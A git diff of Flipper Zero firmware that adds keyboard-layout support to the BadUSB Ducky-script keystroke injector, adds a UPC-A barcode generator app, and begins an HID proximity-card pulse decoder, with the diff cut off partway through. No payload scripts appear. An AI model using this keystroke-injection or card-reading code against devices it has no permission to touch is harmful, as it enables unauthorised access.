a/applications/bad_usb/bad_usb_script.c +++ b/applications/bad_usb/bad_usb_script.c @@ -114,6 +114,8 @@ static const char ducky_cmd_altchar[] = {"ALTCHAR "}; static const char ducky_cmd_altstr_1[] = {"ALTSTRING "}; static const char ducky_cmd_altstr_2[] = {"ALTCODE "}; +static const char ducky_cmd_layout[] = {"DUCKY_LANG"}; + static const uint8_t numpad_keys[10] = { HID_KEYPAD_0, HID_KEYPAD_1, @@ -203,10 +205,10 @@ static bool ducky_altstring(const char* param) { return state; } -static bool ducky_string(const char* param) { +static bool ducky_string(const char* param, const uint16_t layout) { uint32_t i = 0; while(param[i] != '\0') { - uint16_t keycode = HID_ASCII_TO_KEY(param[i]); + uint16_t keycode = HID_ASCII_TO_KEY(layout, param[i]); if(keycode != HID_KEYBOARD_NONE) { furi_hal_hid_kb_press(keycode); furi_hal_hid_kb_release(keycode); @@ -216,7 +218,7 @@ static bool ducky_string(const char* param) { return true; } -static uint16_t ducky_get_keycode(const char* param, bool accept_chars) { +static uint16_t ducky_get_keycode(const char* param, bool accept_chars, const uint16_t layout) { for(uint8_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) { uint8_t key_cmd_len = strlen(ducky_keys[i].name); if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && @@ -225,12 +227,12 @@ static uint16_t ducky_get_keycode(const char* param, bool accept_chars) { } } if((accept_chars) && (strlen(param) > 0)) { - return (HID_ASCII_TO_KEY(param[0]) & 0xFF); + return (HID_ASCII_TO_KEY(layout, param[0]) & 0xFF); } return 0; } -static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) { +static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line, const uint16_t layout) { uint32_t line_len = string_size(line); const char* line_tmp = string_get_cstr(line); bool state = false; @@ -252,6 +254,9 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) { } else if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) { // ID - executed in ducky_script_preload return (0); + } else if(strncmp(line_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) { + // DUCKY_LANG - executed in ducky_script_preload + return (0); } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) { // DELAY line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; @@ -271,7 +276,7 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) { } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) { // STRING line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_string(line_tmp); + state = ducky_string(line_tmp, layout); return (state) ? (0) : SCRIPT_STATE_ERROR; } else if(strncmp(line_tmp, ducky_cmd_altchar, strlen(ducky_cmd_altchar)) == 0) { // ALTCHAR @@ -294,12 +299,12 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) { return (state) ? (0) : SCRIPT_STATE_ERROR; } else { // Special keys + modifiers - uint16_t key = ducky_get_keycode(line_tmp, false); + uint16_t key = ducky_get_keycode(line_tmp, false, layout); if(key == HID_KEYBOARD_NONE) return SCRIPT_STATE_ERROR; if((key & 0xFF00) != 0) { // It's a modifier key line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - key |= ducky_get_keycode(line_tmp, true); + key |= ducky_get_keycode(line_tmp, true, layout); } furi_hal_hid_kb_press(key); furi_hal_hid_kb_release(key); @@ -308,6 +313,19 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) { return SCRIPT_STATE_ERROR; } +static uint16_t ducky_get_layout(const char* line) { + uint16_t layout = 0; + if(strcmp(line, "US") == 0) { + layout = 0; + } else if(strcmp(line, "DE") == 0) { + layout = 1; + } else if(strcmp(line, "FR") == 0) { + layout = 2; + } + FURI_LOG_D(WORKER_TAG, "keyboard layout set: %hu", layout); + return layout; +} + static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) { if(sscanf(line, "%lX:%lX", &bad_usb->hid_cfg.vid, &bad_usb->hid_cfg.pid) == 2) { bad_usb->hid_cfg.manuf[0] = '\0'; @@ -333,10 +351,12 @@ static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) { return false; } -static bool ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { +static uint16_t ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { uint8_t ret = 0; uint32_t line_len = 0; + uint16_t layout = 0; + string_reset(bad_usb->line); do { @@ -361,9 +381,17 @@ static bool ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { } while(ret > 0); const char* line_tmp = string_get_cstr(bad_usb->line); - bool id_set = false; // Looking for ID command at first line + bool id_set = false; // Looking for ID or DUCKY_LANG command at first line if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) { id_set = ducky_set_usb_id(bad_usb, &line_tmp[strlen(ducky_cmd_id) + 1]); + } else if(strncmp(line_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) { + layout = ducky_get_layout(&line_tmp[strlen(ducky_cmd_layout) + 1]); + } + + // Looking for DUCKY_LANG command at second line + const char* line2_tmp = string_get_cstr(bad_usb->line); + if(strncmp(line2_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) { + layout = ducky_get_layout(&line2_tmp[strlen(ducky_cmd_layout) + 1]); } if(id_set) { @@ -375,15 +403,16 @@ static bool ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { storage_file_seek(script_file, 0, true); string_reset(bad_usb->line); - return true; + return layout; } -static int32_t ducky_script_execute_next(BadUsbScript* bad_usb, File* script_file) { +static int32_t + ducky_script_execute_next(BadUsbScript* bad_usb, File* script_file, const uint16_t layout) { int32_t delay_val = 0; if(bad_usb->repeat_cnt > 0) { bad_usb->repeat_cnt--; - delay_val = ducky_parse_line(bad_usb, bad_usb->line_prev); + delay_val = ducky_parse_line(bad_usb, bad_usb->line_prev, layout); if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line return 0; } else if(delay_val < 0) { // Script error @@ -417,7 +446,7 @@ static int32_t ducky_script_execute_next(BadUsbScript* bad_usb, File* script_fil bad_usb->st.line_cur++; bad_usb->buf_len = bad_usb->buf_len + bad_usb->buf_start - (i + 1); bad_usb->buf_start = i + 1; - delay_val = ducky_parse_line(bad_usb, bad_usb->line); + delay_val = ducky_parse_line(bad_usb, bad_usb->line, layout); if(delay_val < 0) { bad_usb->st.error_line = bad_usb->st.line_cur; FURI_LOG_E(WORKER_TAG, "Unknown command at line %lu", bad_usb->st.line_cur); @@ -452,6 +481,8 @@ static int32_t bad_usb_worker(void* context) { BadUsbWorkerState worker_state = BadUsbStateInit; int32_t delay_val = 0; + uint16_t layout = 0; + FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config(); FURI_LOG_I(WORKER_TAG, "Init"); @@ -468,7 +499,8 @@ static int32_t bad_usb_worker(void* context) { string_get_cstr(bad_usb->file_path), FSAM_READ, FSOM_OPEN_EXISTING)) { - if((ducky_script_preload(bad_usb, script_file)) && (bad_usb->st.line_nb > 0)) { + layout = ducky_script_preload(bad_usb, script_file); + if(bad_usb->st.line_nb > 0) { if(furi_hal_hid_is_connected()) { worker_state = BadUsbStateIdle; // Ready to run } else { @@ -540,7 +572,7 @@ static int32_t bad_usb_worker(void* context) { continue; } bad_usb->st.state = BadUsbStateRunning; - delay_val = ducky_script_execute_next(bad_usb, script_file); + delay_val = ducky_script_execute_next(bad_usb, script_file, layout); if(delay_val == SCRIPT_STATE_ERROR) { // Script error delay_val = 0; worker_state = BadUsbStateScriptError; diff --git a/applications/barcode_generator/application.fam b/applications/barcode_generator/application.fam new file mode 100644 index 000000000..57db8c4e7 --- /dev/null +++ b/applications/barcode_generator/application.fam @@ -0,0 +1,13 @@ +App( + appid="barcode_generator", + name="UPC-A Generator", + apptype=FlipperAppType.PLUGIN, + entry_point="barcode_UPCA_generator_app", + cdefines=["APP_BARCODE_GEN"], + requires=[ + "gui", + "dialogs", + ], + stack_size=1 * 1024, + order=50, +) \ No newline at end of file diff --git a/applications/barcode_generator/barcode_generator.c b/applications/barcode_generator/barcode_generator.c new file mode 100644 index 000000000..efccbba60 --- /dev/null +++ b/applications/barcode_generator/barcode_generator.c @@ -0,0 +1,544 @@ +#include +#include +#include +#include + +#define BARCODE_STARTING_POS 16 +#define BARCODE_HEIGHT 50 +#define BARCODE_Y_START 3 +#define BARCODE_TEXT_OFFSET 9 + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef struct { + int barcodeNumeral[12]; //The current barcode number + int editingIndex; //The index of the editing symbol + int menuIndex; //The index of the menu cursor + int modeIndex; //Set to 0 for view, 1 for edit, 2 for menu + bool doParityCalculation; //Should do parity check? +} PluginState; + +void number_0( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #0 on left is OOOIIOI + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "0"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I +} +void number_1( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #1 on left is OOIIOOI + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "1"); + + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I +} +void number_2( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #2 on left is OOIOOII + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "2"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II +} +void number_3( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #3 on left is OIIIIOI + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "3"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I +} +void number_4( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #4 on left is OIOOOII + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "4"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II +} +void number_5( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #5 on left is OIIOOOI + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "5"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I +} +void number_6( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #6 on left is OIOIIII + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "6"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII +} +void number_7( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #7 on left is OIIIOII + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "7"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II +} +void number_8( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #8 on left is OIIOIII + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "8"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III +} +void number_9( + Canvas* canvas, + bool rightHand, + int startingPosition) { //UPC Code for #9 on left is OOOIOII + canvas_set_color(canvas, ColorBlack); + canvas_draw_str( + canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "9"); + if(rightHand) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O + canvas_invert_color(canvas); + canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II +} + +static void render_callback(Canvas* const canvas, void* ctx) { + PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25); + if(plugin_state == NULL) { + return; + } + + //I originally had all of these values being generated at runtime by math, but that kept giving me trouble. + int editingMarkerPosition[12] = { + 19, + 26, + 33, + 40, + 47, + 54, + 66, + 73, + 80, + 87, + 94, + 101, + }; + int menuTextLocations[6] = { + 20, + 30, + 40, + 50, + 60, + 70, + }; + + if(plugin_state->modeIndex == 2) { //if in the menu + canvas_set_color(canvas, ColorBlack); + canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "MENU"); + canvas_draw_frame(canvas, 50, 0, 29, 11); //box around Menu + canvas_draw_str_aligned( + canvas, 64, menuTextLocations[0], AlignCenter, AlignCenter, "View"); + canvas_draw_str_aligned( + canvas, 64, menuTextLocations[1], AlignCenter, AlignCenter, "Edit"); + canvas_draw_str_aligned( + canvas, 64, menuTextLocations[2], AlignCenter, AlignCenter, "Parity?"); + + canvas_draw_frame(canvas, 81, menuTextLocations[2] - 2, 6, 6); + if(plugin_state->doParityCalculation == true) { + canvas_draw_box(canvas, 83, menuTextLocations[2], 2, 2); + } + canvas_draw_str_aligned( + canvas, 64, menuTextLocations[3], AlignCenter, AlignCenter, "TODO"); + canvas_draw_disc( + canvas, 40, menuTextLocations[plugin_state->menuIndex], 2); //draw menu cursor + } + + if(plugin_state->modeIndex != 2) { //if not in the menu + canvas_set_color(canvas, ColorBlack); + //canvas_draw_glyph(canvas, 115, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, 'M'); + canvas_draw_box(canvas, BARCODE_STARTING_POS, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); + //canvas_draw_box(canvas, BARCODE_STARTING_POS + 1, 1, 1, 50); //left blank on purpose + canvas_draw_box( + canvas, + (BARCODE_STARTING_POS + 2), + BARCODE_Y_START, + 1, + BARCODE_HEIGHT + 2); //start saftey + for(int index = 0; index < 12; index++) { + bool isOnRight = false; + if(index >= 6) { + isOnRight = true; + } + if((index == 11) && (plugin_state->doParityCalculation)) { //calculate the check digit + int checkDigit = + plugin_state->barcodeNumeral[0] + plugin_state->barcodeNumeral[2] + + plugin_state->barcodeNumeral[4] + plugin_state->barcodeNumeral[6] + + plugin_state->barcodeNumeral[8] + plugin_state->barcodeNumeral[10]; + //add all odd positions Confusing because 0index + checkDigit = checkDigit * 3; //times 3 + checkDigit += plugin_state->barcodeNumeral[1] + plugin_state->barcodeNumeral[3] + + plugin_state->barcodeNumeral[5] + plugin_state->barcodeNumeral[7] + + plugin_state->barcodeNumeral[9]; + //add all even positions to above. Confusing because 0index + checkDigit = checkDigit % 10; //mod 10 + //if m - 0 then x12 = 0, otherwise x12 is 10 - m + if(checkDigit == 0) { + plugin_state->barcodeNumeral[11] = 0; + } else { + checkDigit = 10 - checkDigit; + plugin_state->barcodeNumeral[11] = checkDigit; + } + } + switch(plugin_state->barcodeNumeral[index]) { + case 0: + number_0(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 1: + number_1(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 2: + number_2(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 3: + number_3(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 4: + number_4(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 5: + number_5(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 6: + number_6(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 7: + number_7(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 8: + number_8(canvas, isOnRight, editingMarkerPosition[index]); + break; + case 9: + number_9(canvas, isOnRight, editingMarkerPosition[index]); + break; + } + } + + canvas_set_color(canvas, ColorBlack); + //canvas_draw_box(canvas, BARCODE_STARTING_POS + 45, BARCODE_Y_START, 1, BARCODE_HEIGHT); + canvas_draw_box(canvas, BARCODE_STARTING_POS + 46, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); + //canvas_draw_box(canvas, BARCODE_STARTING_POS + 47, BARCODE_Y_START, 1, BARCODE_HEIGHT); + canvas_draw_box(canvas, BARCODE_STARTING_POS + 48, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); + //canvas_draw_box(canvas, BARCODE_STARTING_POS + 49, BARCODE_Y_START, 1, BARCODE_HEIGHT); + + if(plugin_state->modeIndex == 1) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box( + canvas, + editingMarkerPosition[plugin_state->editingIndex], + 63, + 7, + 1); //draw editing cursor + } + + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, BARCODE_STARTING_POS + 92, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); + //canvas_draw_box(canvas, 14, 1, 1, 50); //left blank on purpose + canvas_draw_box( + canvas, + (BARCODE_STARTING_POS + 2) + 92, + BARCODE_Y_START, + 1, + BARCODE_HEIGHT + 2); //end safety + } + + release_mutex((ValueMutex*)ctx, plugin_state); +} + +static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void barcode_UPCA_generator_state_init(PluginState* const plugin_state) { + int i; + for(i = 0; i < 12; ++i) { + if(i > 9) { + plugin_state->barcodeNumeral[i] = i - 10; + } else if(i < 10) { + plugin_state->barcodeNumeral[i] = i; + } + } + plugin_state->editingIndex = 0; + plugin_state->modeIndex = 0; + plugin_state->doParityCalculation = true; + plugin_state->menuIndex = 0; +} + +int32_t barcode_UPCA_generator_app(void* p) { + UNUSED(p); + //testing + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + + PluginState* plugin_state = malloc(sizeof(PluginState)); + barcode_UPCA_generator_state_init(plugin_state); + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) { + FURI_LOG_E("barcode_UPCA_generator", "cannot create mutex\r\n"); + free(plugin_state); + return 255; + } + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, render_callback, &state_mutex); + view_port_input_callback_set(view_port, input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + PluginEvent event; + for(bool processing = true; processing;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex); + int barcodeMaxIndex; + if(plugin_state->doParityCalculation == true) { + barcodeMaxIndex = 11; + } + if(plugin_state->doParityCalculation == false) { + barcodeMaxIndex = 12; + } + + if(event_status == FuriStatusOk) { + // press events + if(event.type == EventTypeKey) { + if((event.input.type == InputTypePress) || (event.input.type == InputTypeRepeat)) { + switch(event.input.key) { + case InputKeyUp: + if(plugin_state->modeIndex == 1) { //if edit mode + plugin_state->barcodeNumeral[plugin_state->editingIndex]++; + } + if(plugin_state->barcodeNumeral[plugin_state->editingIndex] > 9) { + plugin_state->barcodeNumeral[plugin_state->editingIndex] = 0; + } + if(plugin_state->modeIndex == 2) { //if menu mode + plugin_state->menuIndex--; + } + if(plugin_state->menuIndex < 0) { + plugin_state->menuIndex = 3; + } + break; + case InputKeyDown: + if(plugin_state->modeIndex == 1) { + plugin_state->barcodeNumeral[plugin_state->editingIndex]--; + } + if(plugin_state->barcodeNumeral[plugin_state->editingIndex] < 0) { + plugin_state->barcodeNumeral[plugin_state->editingIndex] = 9; + } + if(plugin_state->modeIndex == 2) { //if menu mode + plugin_state->menuIndex++; + } + if(plugin_state->menuIndex > 3) { + plugin_state->menuIndex = 0; + } + break; + case InputKeyRight: + if(plugin_state->modeIndex == 1) { + plugin_state->editingIndex++; + } + if(plugin_state->editingIndex >= barcodeMaxIndex) { + plugin_state->editingIndex = 0; + } + break; + case InputKeyLeft: + if(plugin_state->modeIndex == 1) { + plugin_state->editingIndex--; + } + if(plugin_state->editingIndex < 0) { + plugin_state->editingIndex = barcodeMaxIndex - 1; + } + break; + case InputKeyOk: + if((plugin_state->modeIndex == 0) || + (plugin_state->modeIndex == 1)) { //if normal or edit more, open menu + plugin_state->modeIndex = 2; + break; + } else if( + (plugin_state->modeIndex == 2) && + (plugin_state->menuIndex == + 1)) { //if hits select in menu, while index is 1. edit mode + plugin_state->modeIndex = 1; + break; + } else if( + (plugin_state->modeIndex == 2) && + (plugin_state->menuIndex == + 0)) { //if hits select in menu, while index is 0. view mode + plugin_state->modeIndex = 0; + break; + } else if( + (plugin_state->modeIndex == 2) && + (plugin_state->menuIndex == + 2)) { //if hits select in menu, while index is 2. Parity switch + plugin_state->doParityCalculation = + !plugin_state->doParityCalculation; //invert bool + break; + } else { + break; + } + + case InputKeyBack: + if(plugin_state->modeIndex == 0) { + processing = false; + } + if(plugin_state->modeIndex == 2) { + plugin_state->modeIndex = 0; + } + break; + } + } + } + } else { + FURI_LOG_D("barcode_UPCA_generator", "osMessageQueue: event timeout"); + // event timeout + } + + view_port_update(view_port); + release_mutex(&state_mutex, plugin_state); + } + + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + furi_message_queue_free(event_queue); + + return 0; +} diff --git a/applications/hid_analyzer/application.fam b/applications/hid_analyzer/application.fam new file mode 100644 index 000000000..5005190cc --- /dev/null +++ b/applications/hid_analyzer/application.fam @@ -0,0 +1,9 @@ +App( + appid="hid_analyzer", + name="HID Analyzer", + apptype=FlipperAppType.PLUGIN, + entry_point="hid_analyzer_app", + cdefines=["APP_HID_ANALYZER"], + stack_size=2 * 1024, + order=40, +) diff --git a/applications/hid_analyzer/helpers/decoder_hid.cpp b/applications/hid_analyzer/helpers/decoder_hid.cpp new file mode 100644 index 000000000..176bfe0b9 --- /dev/null +++ b/applications/hid_analyzer/helpers/decoder_hid.cpp @@ -0,0 +1,98 @@ +#include "decoder_hid.h" +#include + +constexpr uint32_t clocks_in_us = 64; + +constexpr uint32_t jitter_time_us = 20; +constexpr uint32_t min_time_us = 64; +constexpr uint32_t max_time_us = 80; + +constexpr uint32_t min_time = (min_time_us - jitter_time_us) * clocks_in_us; +constexpr uint32_t mid_time = ((max_time_us - min_time_us) / 2 + min_time_us) * clocks_in_us; +constexpr uint32_t max_time = (max_time_us + jitter_time_us) * clocks_in_us; + +bool DecoderHID::read(uint8_t* data, uint8_t data_size) { + bool result = false; + furi_assert(data_size >= 3); + + if(ready) { + result = true; + hid.decode( + reinterpret_cast(&stored_data), sizeof(uint32_t) * 3, data, data_size); + ready = false; + } + + return result; +} + +void DecoderHID::process_front(bool polarity, uint32_t time) { + if(ready) return; + + if(polarity == true) { + last_pulse_time = time; + } else { + last_pulse_time += time; + + if(last_pulse_time > min_time && last_pulse_time < max_time) { + bool pulse; + + if(last_pulse_time < mid_time) { + // 6 pulses + pulse = false; + } else { + // 5 pulses + pulse = true; + } + + if(last_pulse == pulse) { + pulse_count++; + + if(pulse) { + if(pulse_count > 4) { + pulse_count = 0; + store_data(1); + } + } else { + if(pulse_count > 5) { + pulse_count = 0; + store_data(0); + } + } + } else { + if(last_pulse) { + if(pulse_count > 2) { + store_data(1); + } + } else { + if(pulse_count > 3) { + store_data(0); + } + } + + pulse_count = 0; + last_pulse = pulse; + } + } + } +} + +DecoderHID::DecoderHID() { + reset_state(); +} + +void DecoderHID::store_data(bool data) { + stored_data[0] = (stored_data[0] << 1) | ((stored_data[1] >> 31) & 1); + stored_data[1] = (stored_data[1] << 1) | ((stored_data[2] >> 31) & 1); + stored_data[2] = (stored_data[2] << 1) | data; + + if(hid.can_be_decoded(reinterpret_cast(&stored_data), sizeof(uint32_t) * 3)) { + ready = true; + } +} + +void DecoderHID::reset_state() { + last_pulse = false; + pulse_count = 0; + ready = false; + last_pulse_time = 0; +} diff --git a/applications/hid_analyzer/helpers/decoder_hid.h b/applications/hid_analyzer/helpers/decoder_hid.h new file mode 100644 index 000000000..5dcb6c265 --- /dev/null +++ 